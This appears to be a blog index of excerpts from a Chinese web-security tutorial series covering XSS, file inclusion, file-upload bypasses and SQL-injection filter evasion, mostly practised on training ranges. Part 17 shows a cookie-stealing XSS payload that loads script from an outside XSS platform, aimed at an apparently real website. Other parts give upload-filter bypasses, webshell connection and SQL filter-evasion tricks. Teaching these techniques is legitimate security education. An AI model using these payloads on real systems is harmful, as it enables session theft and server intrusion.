网安入门18-XSS(靶场实战)
HTML实体化编码为了避免 XSS 攻击,会将<>编码为<与>,这些就是 HTML 实体编码。
编码前
编码后
不可分的空格
< (小于符号)
<
> (大于符号)
>
& (与符号)
&
″ (双引号)
"
‘ (单引号)
'
© (版权符号)
©
实体编码1234he.encode('<img src=""></img>') // "<img src=""></img>" // 转义he.escape('<img src=""></img>') // "<img sr ...
网安入门17-XSS(打Cookie)
危害:获取Cookie 开始学习反射型XSS时不知道有什么危害,弹个1没啥用,于是我们利用经典的<script>alert(document.cookie)</script>展开攻击经过这波操作,我们获得了 敏感信息PHPSESSID=94a7gvd2icb3hva0u255jjadl0
反射型也是一样的,在Edge中存好,用Chrome打开,弹的是两个不同的Cookie
打Cookie实战目标:云图AI开放平台来到这个实战网站,两个浏览器注册两个账号zyh666,和zyh999,由于同源策略,Edge和火狐登录同一URL不共享cookie发现一个搜索框,测试可以弹,证明这个网站存在XSS此时4个步骤以及完成了第一步,接下来的中间人可以选择一个云服务器,也可以用一个XSS平台XSS平台-XSS安全测试平台在这个平台创建一个项目,选择无keepsession查看代码选项,恶意JS选择第一条payload复制到网站的URL中,构造钓鱼链接恶意JS:<sCRiPt sRC=//xss.yt/WnT3></sCrIpT>
钓鱼链接:
...
网安入门16-XSS(三种类型)
什么是XSS漏洞——来自Google GeminiXSS漏洞,全称跨站脚本攻击(Cross-Site Scripting),是代码注入的一种。它允许恶意用户将代码注入到网页上,原理是攻击者将恶意代码注入到可信网站的页面中,当用户浏览该页面时,恶意代码就会被浏览器执行,从而达到攻击者的目的。
XSS攻击的常见危害包括:
盗取用户敏感信息,如Cookie、账号密码等;
控制用户浏览器,进行钓鱼攻击、重定向等;
篡改网页内容,进行欺诈等。
XSS漏洞的常见类型包括:
反射型XSS:攻击者将恶意代码通过URL参数、表单提交等方式注入到目标网页中,当用户访问该网页时,恶意代码就会被执行;
存储型XSS:攻击者将恶意代码注入到数据库等存储介质中,当用户访问包含恶意代码的网页时,恶意代码就会被执行;
DOM型XSS:攻击者利用JavaScript代码动态地将恶意代码注入到网页中,当用户访问该网页时,恶意代码就会被执行。
XSS漏洞的防范措施包括:
对用户输入进行严格的过滤和验证;
对输出内容进行转义处理;
使用安全的编码规范;
更新浏览器和Web服务器软件。
我的理解 跨站脚本攻击XSS ...
网安入门15-文件包含(伪协议总结)
php://[输入输出流]跟**http://**一样,这是php的一个特定的协议格式,统称为伪协议,这是所有伪协议的父类php:// 可用于以下目的:
读取来自用户输入的数据
写入数据到客户端浏览器
记录错误信息
php://filter条件
allow_url_fopen:off/on
allow_url_include:off/on
作用设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。
说明php://filter可获取指定文件源码,如果再利用包含函数漏洞,php://filter流会被当作php文件执行,一般对其进行编码,使其不被执行,获取到编码后解码,从而达到任意文件的读取
用法两个用法本质一样
?filename=php://fi ...
网安入门14-文件包含(file协议)
什么是文件包含漏洞——来自ChatGPT4文件包含漏洞是指应用程序在加载文件时,允许用户控制被加载文件的名称,从而导致恶意代码的执行或敏感信息的泄露。文件包含漏洞主要分为两种:
本地文件包含漏洞(LFI) :攻击者可以包含服务器本地的任意文件,包括系统文件、配置文件、数据库文件等。
远程文件包含漏洞(RFI):攻击者可以包含远程服务器上的任意文件,包括其他网站的文件、恶意网站的文件等。
文件包含漏洞的危害性很大,攻击者可以利用该漏洞来执行以下操作:
执行任意代码:攻击者可以通过包含恶意的 PHP 脚本或其他可执行文件来执行任意代码,从而控制服务器。
窃取敏感信息:攻击者可以通过包含包含敏感信息的文件来窃取用户的密码、信用卡信息等敏感信息。
植入后门:攻击者可以通过包含包含后门的文件来植入后门,从而方便日后进行攻击。
以下是一些防范文件包含漏洞的措施:
在开发应用程序时,应使用白名单的方式来控制用户输入的文件名称,仅允许包含白名单中指定的文件。
在开发应用程序时,应对用户输入的文件名称进行严格的过滤,确保文件名称不包含任何特殊字符,例如 ../ 等。
关闭不必要的功能,例如远程 ...
网安入门13-文件上传(htaccess,其他绕过)
空格绕过,点号绕过Pass-07直接上传肯定是失败的
把文件名1.php改成1.php.或1.php_(下划线为空格),这种命名方式在windows系统里是不被允许的,所以需要在burp之类里进行修改,然后绕过验证后,会被windows系统自动去掉后面的点和空格,但要注意Unix/Linux系统没有这个特性。
在php后加一个空格
Pass-08
在php后加一个点
Htaccess绕过
htaccess文件是一个用于Apache Web服务器的配置文件。它允许在不修改主服务器配置文件的情况下,对单个目录(及其子目录)进行配置。这种方式使得网站管理员可以对特定目录应用特定的设置,例如URL重写、访问控制、MIME类型等。
htaccess的主要功能包括:
重定向和URL重写:可以将旧的URL重定向到新的URL,或者实现更友好的URL结构。
访问控制:可以限制特定IP地址或用户代理访问网站,或者要求用户提供用户名和密码才能访问某些目录。
自定义错误页面:可以为特定的HTTP错误代码(如404页面未找到)设置自定义错误页面。
MIME类型:可以为特定文件扩展名定义MIM ...
网安入门12-文件上传(黑白名单,00截断)
黑名单绕过Pass-03有的时候后端限制了一些黑名单,比如过滤后缀名.php我们就可以用黑名单里没有的后缀名进行绕过,例如:
大小写:.phP .pHp .AsP
php1 .php2 .php3 .php9 .phtml(成功率较高)
特殊文件名绕过
比如发送的htp包里把文件名改成test.asp.或test.asp_(下划线为空格),这种命名方式在windows系统里是不被允许的,所以需要在burp之类里进行修改,然后绕过验证后,会被windows.系统自动去掉后面的点和空格,但要注意Unix/Linux系统没有这个特性。
于是我们先上传一个shell.jpg,然后抓包把后缀名改为.php1发现浏览器按照原文展示,并没有按照php解析这个木马,那我们就尝试别的后缀3我尝试了php1-9,都不行,好在最后尝试了一下phtml,成功了,最后蚁剑一连就行啦
白名单绕过-GET型00截断当我们遇到白名单了,只允许上传.jpg|.png|.gif这里先介绍0x00是一个Hex编码,他表示一个空字符(可以理解为一个不 ...
网安入门11-文件上传(前后端绕过,变形马图片马)
Upload-LabsUpload-Labs是一个使用PHP语言编写、专注于文件上传漏洞的闯关式网络安全靶场。练习该靶场可以有效地了解并掌握文件上传漏洞的原理、利用方法和修复方案。思考:他只让我传一个.jpg的图片,我想传一个.php的木马,两者什么区别
文件类型不一样
文件大小不一样
内容不一样,php有<?php>,eval等关键字
前端校验Pass-01通过F12查看源代码定位发现有一个checkFile()函数,删掉即可
后端(服务端)校验-文件类型绕过Pass-02这一关我们故技重施发现不行了,那么就不只是前端校验了,后端也有校验我们打开burp抓包我们注意到这里面有个HTTP头叫做Content-Type,这是我上传php的我们再上传一个jpg,看看Content-Type是什么样这时候就变成了image-jpeg(不用在意这些乱码)我们思路就来了,上传一个php,burp抓包改Content-Type,改成image/jpeg就ok啦不改Content-Type头,回显“文件类型不正确,请重新上传”改了之后,就回显了上传成功之后的相对路径相对路径 ...
网安入门10-文件上传(中国蚁剑)
什么是文件上传漏洞——来自GPT-4文件上传漏洞是一种常见的安全漏洞,它出现在Web应用程序中,允许攻击者上传恶意文件到服务器。这种漏洞可能导致严重的安全问题,例如服务器被入侵、数据泄露和应用程序功能受损。
文件上传漏洞通常由以下几个原因导致:
不充分的文件类型验证:Web应用程序应该仅允许用户上传特定类型的文件,例如图片、文档等。如果验证不严格,攻击者可能会上传恶意文件,如脚本或可执行文件。
不安全的文件名处理:攻击者可能会尝试使用特殊字符或路径遍历技术来上传文件到非预期的目录。这可能导致对服务器上其他文件的访问或覆盖。
不恰当的权限设置:如果上传目录的权限设置不当,攻击者可能会利用上传的文件执行恶意操作,例如执行代码或访问敏感数据。
为了防止文件上传漏洞,作为一名软件工程师,我们可以采取以下措施:
限制允许上传的文件类型:仅允许用户上传预定义的安全文件类型,并对文件扩展名和MIME类型进行严格验证。
对文件名进行安全处理:对上传的文件名进行过滤和验证,移除特殊字符,防止路径遍历攻击。
设置合适的权限:确保上传目录的权限设置正确,限制对敏感数据和系统文件的访问。
文 ...
网安入门09-Sql注入(绕过方法梳理)
ByPassSQL注入ByPass是指攻击者通过各种手段绕过应用程序中已经实施的SQL注入防御措施,例如输入恶意数据、修改请求头等方式,绕过过滤、转义、限制等操作,从而成功地执行恶意SQL语句。攻击者使用SQL注入ByPass技术可以让应用程序的防御措施失效,使得SQL注入攻击成功。因此,防范SQL注入攻击需要采取综合的安全措施,包括正确的SQL语句编写、使用参数化查询、限制用户输入、过滤和转义特殊字符等。
绕过空格
替换
说明
/**/
内联注释符
%a0
URL编码
%09
php里会被当作Tab键
%0a
php里会被当作换行键
()
括号
+
加号
绕过 引号" table_name=”users”
使用16进制编码Hex编码/解码 - 107000
使用拼接字符串例如将"username"替换为'username'+' '
绕过 逗号, Substr(database(),1,1)用from,for绕过 sel ...